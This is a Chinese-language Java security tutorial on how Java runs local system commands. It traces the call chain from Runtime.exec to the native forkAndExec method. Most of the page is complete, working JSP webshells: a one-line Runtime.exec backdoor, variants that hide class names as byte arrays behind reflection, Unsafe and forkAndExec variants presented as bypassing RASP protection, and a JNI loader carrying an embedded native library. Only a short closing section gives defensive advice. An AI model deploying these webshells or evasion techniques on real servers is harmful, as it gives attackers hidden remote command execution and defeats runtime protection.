Java本地命令执行

Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞或者WebShell来执行系统终端命令控制服务器的目的。

对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求,而对于黑客来说本地命令执行是一种非常有利的入侵手段。

Runtime命令执行

在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令。

image-20191205181818649

Runtime命令执行测试

runtime-exec2.jsp执行cmd命令示例:**

  1. <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
  1. 本地nc监听9000端口:nc -vv -l 9000

  2. 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。

    我们可以在nc中看到已经成功的接收到了java执行了curl命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。

image-20191205180627895

上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。

runtime-exec.jsp执行cmd命令示例:

  1. <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
  2. <%--
  3. Created by IntelliJ IDEA.
  4. User: yz
  5. Date: 2019/12/5
  6. Time: 6:21 下午
  7. To change this template use File | Settings | File Templates.
  8. --%>
  9. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  10. <%@ page import="java.io.ByteArrayOutputStream" %>
  11. <%@ page import="java.io.InputStream" %>
  12. <%
  13. InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  14. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  15. byte[] b = new byte[1024];
  16. int a = -1;
  17. while ((a = in.read(b)) != -1) {
  18. baos.write(b, 0, a);
  19. }
  20. out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
  21. %>

命令执行效果如下:

image-20191205182511119

Runtime命令执行调用链

Runtime.exec(xxx)调用链如下:

  1. java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
  2. java.lang.ProcessImpl.start(ProcessImpl.java:134)
  3. java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
  4. java.lang.Runtime.exec(Runtime.java:620)
  5. java.lang.Runtime.exec(Runtime.java:450)
  6. java.lang.Runtime.exec(Runtime.java:347)
  7. org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:

  1. Runtime.exec(xxx)
  2. java.lang.ProcessBuilder.start()
  3. new java.lang.UNIXProcess(xxx)
  4. UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
  5. forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcessPID

有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记RuntimeProcessBuilder并不是程序的最终执行点!

反射Runtime命令执行

如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。

reflection-cmd.jsp示例代码:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <%@ page import="java.lang.reflect.Method" %>
  4. <%@ page import="java.util.Scanner" %>
  5. <%
  6. String str = request.getParameter("str");
  7. // 定义"java.lang.Runtime"字符串变量
  8. String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
  9. // 反射java.lang.Runtime类获取Class对象
  10. Class<?> c = Class.forName(rt);
  11. // 反射获取Runtime类的getRuntime方法
  12. Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
  13. // 反射获取Runtime类的exec方法
  14. Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
  15. // 反射调用Runtime.getRuntime().exec(xxx)方法
  16. Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
  17. // 反射获取Process类的getInputStream方法
  18. Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
  19. m.setAccessible(true);
  20. // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
  21. Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
  22. String result = s.hasNext() ? s.next() : "";
  23. // 输出命令执行结果
  24. out.println(result);
  25. %>

命令参数是str,如:reflection-cmd.jsp?str=pwd,程序执行结果同上。

ProcessBuilder命令执行

学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。

process_builder.jsp命令执行测试

  1. <%--
  2. Created by IntelliJ IDEA.
  3. User: yz
  4. Date: 2019/12/6
  5. Time: 10:26 上午
  6. To change this template use File | Settings | File Templates.
  7. --%>
  8. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  9. <%@ page import="java.io.ByteArrayOutputStream" %>
  10. <%@ page import="java.io.InputStream" %>
  11. <%
  12. InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
  13. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  14. byte[] b = new byte[1024];
  15. int a = -1;
  16. while ((a = in.read(b)) != -1) {
  17. baos.write(b, 0, a);
  18. }
  19. out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
  20. %>

执行一个稍微复杂点的命令:/bin/sh -c "cd /Users/;ls -la;",浏览器请求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la

image-20191206111423261

UNIXProcess/ProcessImpl

UNIXProcessProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了,参考changeset 11315:98eb910c9a97

image-20191206111948376

UNIXProcessProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

UNIXProcess类的forkAndExec示例:

  1. private native int forkAndExec(int mode, byte[] helperpath,
  2. byte[] prog,
  3. byte[] argBlock, int argc,
  4. byte[] envBlock, int envc,
  5. byte[] dir,
  6. int[] fds,
  7. boolean redirectErrorStream)
  8. throws IOException;

最终执行的Java_java_lang_ProcessImpl_forkAndExec

image-20191206112722220

Java_java_lang_ProcessImpl_forkAndExec完整代码:ProcessImpl_md.c

很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给OpenRASP提过这个问题,他们只防御到了ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImplforkAndExec方法就可以绕过RASP实现命令执行了。

反射UNIXProcess/ProcessImpl执行本地命令

linux-cmd.jsp执行本地命令测试:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.*" %>
  3. <%@ page import="java.lang.reflect.Constructor" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <%!
  6. byte[] toCString(String s) {
  7. if (s == null) {
  8. return null;
  9. }
  10. byte[] bytes = s.getBytes();
  11. byte[] result = new byte[bytes.length + 1];
  12. System.arraycopy(bytes, 0, result, 0, bytes.length);
  13. result[result.length - 1] = (byte) 0;
  14. return result;
  15. }
  16. InputStream start(String[] strs) throws Exception {
  17. // java.lang.UNIXProcess
  18. String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
  19. // java.lang.ProcessImpl
  20. String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
  21. Class clazz = null;
  22. // 反射创建UNIXProcess或者ProcessImpl
  23. try {
  24. clazz = Class.forName(unixClass);
  25. } catch (ClassNotFoundException e) {
  26. clazz = Class.forName(processClass);
  27. }
  28. // 获取UNIXProcess或者ProcessImpl的构造方法
  29. Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
  30. constructor.setAccessible(true);
  31. assert strs != null && strs.length > 0;
  32. // Convert arguments to a contiguous block; it's easier to do
  33. // memory management in Java than in C.
  34. byte[][] args = new byte[strs.length - 1][];
  35. int size = args.length; // For added NUL bytes
  36. for (int i = 0; i < args.length; i++) {
  37. args[i] = strs[i + 1].getBytes();
  38. size += args[i].length;
  39. }
  40. byte[] argBlock = new byte[size];
  41. int i = 0;
  42. for (byte[] arg : args) {
  43. System.arraycopy(arg, 0, argBlock, i, arg.length);
  44. i += arg.length + 1;
  45. // No need to write NUL bytes explicitly
  46. }
  47. int[] envc = new int[1];
  48. int[] std_fds = new int[]{-1, -1, -1};
  49. FileInputStream f0 = null;
  50. FileOutputStream f1 = null;
  51. FileOutputStream f2 = null;
  52. // In theory, close() can throw IOException
  53. // (although it is rather unlikely to happen here)
  54. try {
  55. if (f0 != null) f0.close();
  56. } finally {
  57. try {
  58. if (f1 != null) f1.close();
  59. } finally {
  60. if (f2 != null) f2.close();
  61. }
  62. }
  63. // 创建UNIXProcess或者ProcessImpl实例
  64. Object object = constructor.newInstance(
  65. toCString(strs[0]), argBlock, args.length,
  66. null, envc[0], null, std_fds, false
  67. );
  68. // 获取命令执行的InputStream
  69. Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
  70. inMethod.setAccessible(true);
  71. return (InputStream) inMethod.invoke(object);
  72. }
  73. String inputStreamToString(InputStream in, String charset) throws IOException {
  74. try {
  75. if (charset == null) {
  76. charset = "UTF-8";
  77. }
  78. ByteArrayOutputStream out = new ByteArrayOutputStream();
  79. int a = 0;
  80. byte[] b = new byte[1024];
  81. while ((a = in.read(b)) != -1) {
  82. out.write(b, 0, a);
  83. }
  84. return new String(out.toByteArray());
  85. } catch (IOException e) {
  86. throw e;
  87. } finally {
  88. if (in != null)
  89. in.close();
  90. }
  91. }
  92. %>
  93. <%
  94. String[] str = request.getParameterValues("cmd");
  95. if (str != null) {
  96. InputStream in = start(str);
  97. String result = inputStreamToString(in, "UTF-8");
  98. out.println("<pre>");
  99. out.println(result);
  100. out.println("</pre>");
  101. out.flush();
  102. out.close();
  103. }
  104. %>

命令执行效果如下:

image-20191206135626282

Windows可能并不适用,稍做调整应该就可以了。

forkAndExec命令执行-Unsafe+反射+Native方法调用

如果RASPUNIXProcess/ProcessImpl类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

fork_and_exec.jsp执行本地命令示例:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="sun.misc.Unsafe" %>
  3. <%@ page import="java.io.ByteArrayOutputStream" %>
  4. <%@ page import="java.io.InputStream" %>
  5. <%@ page import="java.lang.reflect.Field" %>
  6. <%@ page import="java.lang.reflect.Method" %>
  7. <%!
  8. byte[] toCString(String s) {
  9. if (s == null)
  10. return null;
  11. byte[] bytes = s.getBytes();
  12. byte[] result = new byte[bytes.length + 1];
  13. System.arraycopy(bytes, 0,
  14. result, 0,
  15. bytes.length);
  16. result[result.length - 1] = (byte) 0;
  17. return result;
  18. }
  19. %>
  20. <%
  21. String[] strs = request.getParameterValues("cmd");
  22. if (strs != null) {
  23. Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
  24. theUnsafeField.setAccessible(true);
  25. Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
  26. Class processClass = null;
  27. try {
  28. processClass = Class.forName("java.lang.UNIXProcess");
  29. } catch (ClassNotFoundException e) {
  30. processClass = Class.forName("java.lang.ProcessImpl");
  31. }
  32. Object processObject = unsafe.allocateInstance(processClass);
  33. // Convert arguments to a contiguous block; it's easier to do
  34. // memory management in Java than in C.
  35. byte[][] args = new byte[strs.length - 1][];
  36. int size = args.length; // For added NUL bytes
  37. for (int i = 0; i < args.length; i++) {
  38. args[i] = strs[i + 1].getBytes();
  39. size += args[i].length;
  40. }
  41. byte[] argBlock = new byte[size];
  42. int i = 0;
  43. for (byte[] arg : args) {
  44. System.arraycopy(arg, 0, argBlock, i, arg.length);
  45. i += arg.length + 1;
  46. // No need to write NUL bytes explicitly
  47. }
  48. int[] envc = new int[1];
  49. int[] std_fds = new int[]{-1, -1, -1};
  50. Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
  51. Field helperpathField = processClass.getDeclaredField("helperpath");
  52. launchMechanismField.setAccessible(true);
  53. helperpathField.setAccessible(true);
  54. Object launchMechanismObject = launchMechanismField.get(processObject);
  55. byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
  56. int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
  57. Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
  58. int.class, byte[].class, byte[].class, byte[].class, int.class,
  59. byte[].class, int.class, byte[].class, int[].class, boolean.class
  60. });
  61. forkMethod.setAccessible(true);// 设置访问权限
  62. int pid = (int) forkMethod.invoke(processObject, new Object[]{
  63. ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
  64. null, envc[0], null, std_fds, false
  65. });
  66. // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
  67. Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
  68. initStreamsMethod.setAccessible(true);
  69. initStreamsMethod.invoke(processObject, std_fds);
  70. // 获取本地执行结果的输入流
  71. Method getInputStreamMethod = processClass.getMethod("getInputStream");
  72. getInputStreamMethod.setAccessible(true);
  73. InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
  74. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  75. int a = 0;
  76. byte[] b = new byte[1024];
  77. while ((a = in.read(b)) != -1) {
  78. baos.write(b, 0, a);
  79. }
  80. out.println("<pre>");
  81. out.println(baos.toString());
  82. out.println("</pre>");
  83. out.flush();
  84. out.close();
  85. }
  86. %>

命令执行效果如下:

image-20191206153815471

JNI命令执行

Java可以通过JNI的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了。至于如何写JNI动态链接库写我们将在JNI章节中详解。

load_library.jsp命令执行测试(不依赖Java的forkAndExec):

  1. <%--
  2. Created by IntelliJ IDEA.
  3. User: yz
  4. Date: 2019/12/6
  5. Time: 4:59 下午
  6. To change this template use File | Settings | File Templates.
  7. --%>
  8. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  9. <%@ page import="java.io.File" %>
  10. <%@ page import="java.lang.reflect.Method" %>
  11. <%@ page import="java.io.IOException" %>
  12. <%@ page import="java.io.FileOutputStream" %>
  13. <%!
  14. private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
  15. /**
  16. * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
  17. * 只有一个public static native String exec(String cmd);的方法
  18. */
  19. private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
  20. -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
  21. 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
  22. 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
  23. 101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
  24. 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
  25. 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
  26. 99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
  27. 101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
  28. 99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
  29. 111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
  30. 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
  31. 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
  32. 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
  33. 9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
  34. };
  35. // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译
  36. private static final String COMMAND_JNI_FILE_BYTES = "z/rt/gcAAAEDAAAABgAAAA8AAACABQAAhYARAAAAAAAZAAAAKAIAAF9fVEVYVAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAUAAAAFAAAABgAAAAAAAABfX3RleHQAAAAAAAAAAAAAX19URVhUAAAAAAAAAAAAAMAIAAAAAAAA7gUAAAAAAADACAAABAAAAAAAAAAAAAAAAAQAgAAAAAAAAAAAAAAAAF9fc3R1YnMAAAAAAAAAAABfX1RFWFQAAAAAAAAAAAAArg4AAAAAAABIAAAAAAAAAK4OAAABAAAAAAAAAAAAAAAIBACAAAAAAAYAAAAAAAAAX19zdHViX2hlbHBlcgAAAF9fVEVYVAAAAAAAAAAAAAD4DgAAAAAAAHQAAAAAAAAA+A4AAAIAAAAAAAAAAAAAAAAEAIAAAAAAAAAAAAAAAABfX2djY19leGNlcHRfdGFiX19URVhUAAAAAAAAAAAAAGwPAAAAAAAAKAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVSInlSIHsMAEAAEiLBTYHAABIiwBIiUX4SIm9YP///0iJtVj///9IiZVQ////SIO9UP///wAPhEYBAABIi71g////SIu1UP///0iNlU/////opAUAAEiJhUD///9Ii71A////SI01aQYAAOjABQAASImFOP///0iDvTj///8AD4T4AAAASI29IP///+ivAQAASIuVOP///0iNvXD///++gAAAAOh1BQAASImFCP///+kAAAAASIuFCP///0iD+AAPhEQAAABIjb0g////SI21cP///+iHAQAASImFAP///+kAAAAA6af///+J0UiJhRj///+JjRT///9Ijb0g////6AEFAADpbgAAAEiLvTj////oFAUAAImF/P7//+kAAAAASIu9YP///0iNhSD///9Iib3w/v//SInH6JIBAABIi73w/v//SInG6KcEAABIiYXo/v//6QAAAABIi4Xo/v//SImFaP///0iNvSD////okwQAAOkVAAAA6UUAAADpAAAAAEjHhWj///8AAAAASIuFaP///0iLDa0FAABIiwlIi1X4SDnRSImF4P7//w+FLQAAAEiLheD+//9IgcQwAQAAXcNIi70Y////6CAEAAAPC0iJx0iJldj+///oEQEAAOg0BAAADwtmLg8fhAAAAAAAVUiJ5UiD7DBIiX34SIl18EiJVehIi1X4SIsySIu2SAUAAEiLffBIi0XoSIl94EiJ10iLVeBIiXXYSInWSInCSItF2P/QSIPEMF3DDx9EAABVSInlSIPsEEiJffhIi3346KsAAABIg8QQXcM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U5TXzlhbGxvY2F0b3JJY0VFRTlfX2lzX2xvbmdFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyRXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RFdgBfX1pOS1N0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0VSUzFfAF9fWk5TdDNfXzFMOWFkZHJlc3NvZklLY0VFUFRfUlMyXwBHQ0NfZXhjZXB0X3RhYmxlMABfX2R5bGRfcHJpdmF0ZQAA";
  37. /**
  38. * 获取JNI链接库目录
  39. * @return 返回缓存JNI的临时目录
  40. */
  41. File getTempJNILibFile() {
  42. File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
  43. if (!jniDir.exists()) {
  44. jniDir.mkdir();
  45. }
  46. return new File(jniDir, "libcmd.lib");
  47. }
  48. /**
  49. * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
  50. * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
  51. * @param str
  52. * @return
  53. */
  54. byte[] base64Decode(String str) {
  55. try {
  56. try {
  57. Class clazz = Class.forName("sun.misc.BASE64Decoder");
  58. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  59. } catch (ClassNotFoundException e) {
  60. Class clazz = Class.forName("java.util.Base64");
  61. Object decoder = clazz.getMethod("getDecoder").invoke(null);
  62. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  63. }
  64. } catch (Exception e) {
  65. return null;
  66. }
  67. }
  68. /**
  69. * 写JNI链接库文件
  70. * @param base64 JNI动态库Base64
  71. * @return 返回是否写入成功
  72. */
  73. void writeJNILibFile(String base64) throws IOException {
  74. if (base64 != null) {
  75. File jniFile = getTempJNILibFile();
  76. if (!jniFile.exists()) {
  77. byte[] bytes = base64Decode(base64);
  78. if (bytes != null) {
  79. FileOutputStream fos = new FileOutputStream(jniFile);
  80. fos.write(bytes);
  81. fos.flush();
  82. fos.close();
  83. }
  84. }
  85. }
  86. }
  87. %>
  88. <%
  89. // 需要执行的命令
  90. String cmd = request.getParameter("cmd");
  91. // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
  92. String jniBytes = request.getParameter("jni");
  93. // JNI路径
  94. File jniFile = getTempJNILibFile();
  95. ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
  96. if (loader == null) {
  97. loader = new ClassLoader(this.getClass().getClassLoader()) {
  98. @Override
  99. protected Class<?> findClass(String name) throws ClassNotFoundException {
  100. try {
  101. return super.findClass(name);
  102. } catch (ClassNotFoundException e) {
  103. return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
  104. }
  105. }
  106. };
  107. writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
  108. application.setAttribute("__LOADER__", loader);
  109. }
  110. try {
  111. // load命令执行类
  112. Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
  113. Object loadLib = application.getAttribute("__LOAD_LIB__");
  114. if (loadLib == null || !((Boolean) loadLib)) {
  115. Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
  116. loadLibrary0Method.setAccessible(true);
  117. loadLibrary0Method.invoke(loader, commandClass, jniFile);
  118. application.setAttribute("__LOAD_LIB__", true);
  119. }
  120. String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
  121. out.println("<pre>");
  122. out.println(content);
  123. out.println("</pre>");
  124. } catch (Exception e) {
  125. out.println(e.toString());
  126. throw e;
  127. }
  128. %>

load_library.jsp默认提供了一个MacOSXJNI库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp,编译方式参考后面的JNI章节。load_library.jsp接收两个参数:cmdjni,参数描述:

  1. cmd需要执行的本地命令

  2. jni 动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))),jni参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES变量,jni参数只需要传一次,第二次请求不需要带上。

浏览器请求:

http://localhost:8080/load_library.jsp?cmd=ls

命令行(POST传jni参数方式):

  1. curl http://localhost:8080/load_library.jsp?cmd=ifconfig -d "jni=JNI文件编码后的字符串"

浏览器访问load_library.jsp执行命令测试:

image-20191208130543317

这个JNI示例Demo结合了Java反射ClassLoader机制JNI三个知识点,相对新手来说会有较大难度,这里不做详细讲解,在后面的对应的章节将做出详细解读。

Java本地命令执行总结

Java本地命令执行是一个非常高危的漏洞,一旦被攻击者利用后果不堪设想。这个漏洞原理一样是非常简单且容易被发现。开发阶段我们应该尽可能的避免调用本地命令接口,如果不得不调用那么请仔细检查命令执行参数,严格检查(防止命令注入)或严禁用户直接传入命令!代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl等关键词,这样可以快速找出命令执行点。